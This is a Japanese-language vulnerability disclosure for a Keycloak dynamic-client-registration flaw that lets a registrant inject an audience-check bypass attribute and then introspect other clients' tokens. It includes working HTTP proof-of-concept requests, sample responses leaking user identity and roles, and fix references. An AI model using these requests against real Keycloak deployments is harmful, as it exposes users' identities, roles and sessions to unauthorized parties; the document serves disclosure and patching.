CVE ID: CVE-2026-105306 · CWE: CWE-862 · CVSS 3.1: 6.5 (Medium)
影響を受けるバージョン: Keycloak26.4.0–26.8.0/ Red Hat Build of Keycloak
Keycloak は、Red Hat によって保守されている、広く導入されているオープンソースのアイデンティティおよびアクセス管理 (IAM) ソリューションであり、エンタープライズアプリケーション向けに SSO、アイデンティティブローカリング、ユーザーフェデレーション機能を提供しています。
Keycloak のクライアントライフサイクル管理に関するセキュリティリサーチの過程で、私は 動的クライアント登録 (DCR) フローに重大な欠陥を発見しました。登録エンドポイントが、セキュリティ上重要な内部クライアント属性をフィルタリングしていないのです。これにより、標準的な Initial Access Token (IAT) のみを保持する認証済みの登録者が、クライアント作成時に特権属性 allow.token.introspection.without.audience.check を注入できるようになります。
一度設定されると、この属性は Keycloak のトークンイントロスペクションプロバイダに対してオーディエンス検証を完全にスキップするよう指示し、攻撃者のクライアントが、トークンの本来のオーディエンスに関係なく、レルム内の任意の有効なアクセストークンをイントロスペクトできるようにします。
標準的な OAuth 2.0 デプロイメントでは、リソースサーバーは認可サーバーのイントロスペクションエンドポイントを呼び出すことでベアラートークンを検証します:
POST /realms/{realm}/protocol/openid-connect/token/introspect
Keycloakはオーディエンス制限を適用します。クライアントは、自身のclient_idがトークンのaudクレームに含まれているトークンのみをイントロスペクトできます。この境界は、複数のクライアントが同じレルムを共有しながらも分離を保つ必要があるマルチテナントおよびマイクロサービスアーキテクチャにおいて極めて重要です。
しかし、Keycloakは内部管理者専用のトグルを提供しています:
allow.token.introspection.without.audience.check = true
クライアント側で有効化すると、AccessTokenIntrospectionProvider は意図的にオーディエンス検証をスキップします。この機能は特権的なユースケース(集中監査ゲートウェイ、監視サービス)専用であり、Realm 管理者 が Admin Console または Admin REST API を通じてのみ設定できるようにすべきです。
DCR を使用すると、認可されたエンティティはクライアントメタデータを以下に POST することで、OAuth 2.0 クライアントをプログラム的に登録できます:
POST /realms/{realm}/clients-registrations/openid-connect
認証は Initial Access Token を介して行われます。これは、完全な管理者権限を持たずに登録権限を付与するスコープ付きの資格情報です。DCR 登録者は管理者ではないため、登録パイプラインは権限昇格を防ぐために受信属性を厳密にサニタイズする必要があります。
この脆弱性は、Keycloak の AbstractClientRegistrationProvider および RepresentationToModel マッピングレイヤーに起因します。
┌──────────────────────────────────────────────────────────────────┐
│ DCR Request Flow │
│ │
│ Attacker (IAT holder) │
│ │ │
│ ▼ │
│ POST /clients-registrations/openid-connect │
│ { │
│ "client_name": "attacker-client", │
│ "attributes": { │
│ "allow.token.introspection.without.audience.check": "true" │
│ } │
│ } │
│ │ │
│ ▼ │
│ AbstractClientRegistrationProvider │
│ │ │
│ │ NO FILTERING of internal attributes │
│ │ │
│ ▼ │
│ RepresentationToModel.createClient() │
│ │ │
│ ▼ │
│ ClientModel persisted with privileged attribute │
└──────────────────────────────────────────────────────────────────┘
ClientRepresentation オブジェクトにデシリアライズします。AbstractClientRegistrationProvider は、フィルタリングされていない attributes マップ全体を RepresentationToModel.createClient() に転送します。allow.token.introspection.without.audience.check は、検証や除去を一切行わずに、データベース内のクライアントモデルへ直接永続化されます。AccessTokenIntrospectionProvider における悪用経路攻撃者のクライアントがその後イントロスペクションエンドポイントを呼び出すと、次のようになります。
// Simplified flow in AccessTokenIntrospectionProvider
String bypassFlag = client.getAttribute(
"allow.token.introspection.without.audience.check"
);
if (Boolean.parseBoolean(bypassFlag)) {
// ⚠ AUDIENCE CHECK COMPLETELY BYPASSED
// Full token metadata returned regardless of audience
} else {
// Normal flow: verify client is in token's audience
if (!isClientInAudience(client, token)) {
return inactive();
}
}
フラグは登録時に注入されたため、オーディエンス検証は完全にスキップされます。
POST /realms/target-realm/clients-registrations/openid-connect HTTP/1.1
Host: keycloak.target.com
Authorization: Bearer <INITIAL_ACCESS_TOKEN>
Content-Type: application/json
{
"client_name": "attacker-introspection-client",
"redirect_uris": ["https://attacker.com/callback"],
"grant_types": ["client_credentials"],
"token_endpoint_auth_method": "client_secret_basic",
"attributes": {
"allow.token.introspection.without.audience.check": "true"
}
}
レスポンス (201 Created):
{
"client_id": "attacker-introspection-client",
"client_secret": "generated-secret-abc123",
"registration_access_token": "...",
"client_name": "attacker-introspection-client",
"redirect_uris": ["https://attacker.com/callback"],
"attributes": {
"allow.token.introspection.without.audience.check": "true"
}
}
✅ privileged 属性は制限なく受け入れられ、永続化されます。
登録済みのクライアント認証情報を使用して、攻撃者はまったく別のクライアント(internal-billing-service)に発行されたトークンをイントロスペクトします:
POST /realms/target-realm/protocol/openid-connect/token/introspect HTTP/1.1
Host: keycloak.target.com
Authorization: Basic <base64(attacker-introspection-client:generated-secret-abc123)>
Content-Type: application/x-www-form-urlencoded
token=<VICTIM_ACCESS_TOKEN>&token_type_hint=access_token
attacker-introspection-client がトークンの aud クレームに含まれていないにもかかわらず、Keycloak はトークンの完全な詳細を返します:
{
"active": true,
"sub": "9f21f736-2248-4351-a982-1209b5334cde",
"aud": "internal-billing-service",
"iss": "https://keycloak.target.com/realms/target-realm",
"preferred_username": "corporate_admin",
"email": "[email protected]",
"email_verified": true,
"realm_access": {
"roles": ["admin", "billing_manager", "manage-users"]
},
"resource_access": {
"internal-billing-service": {
"roles": ["read:financial-records", "write:invoices"]
}
},
"scope": "openid email profile",
"sid": "b6a83689-d2b3-4628-a3e9-7f1234abcdef",
"client_id": "internal-billing-service",
"token_type": "Bearer",
"exp": 1791740000,
"iat": 1791736400
}
🔴 完全な身元開示: ユーザー ID、メールアドレス、ロール、スコープ、セッション ID、トークンメタデータがすべて、不正なクライアントに公開されます。
sub、email、preferred_username)、認可付与 (ロール、グループ、スコープ)、およびアクティブなセッション状態 (sid) を露出させます。PR: #53748 — DCR リクエストから allow.token.introspection.without.audience.check を除去
コミット: b20924e
拡張元: PR #53470 (DCR 用の既存の属性フィルター)
対象ブランチ: main、26.6、26.8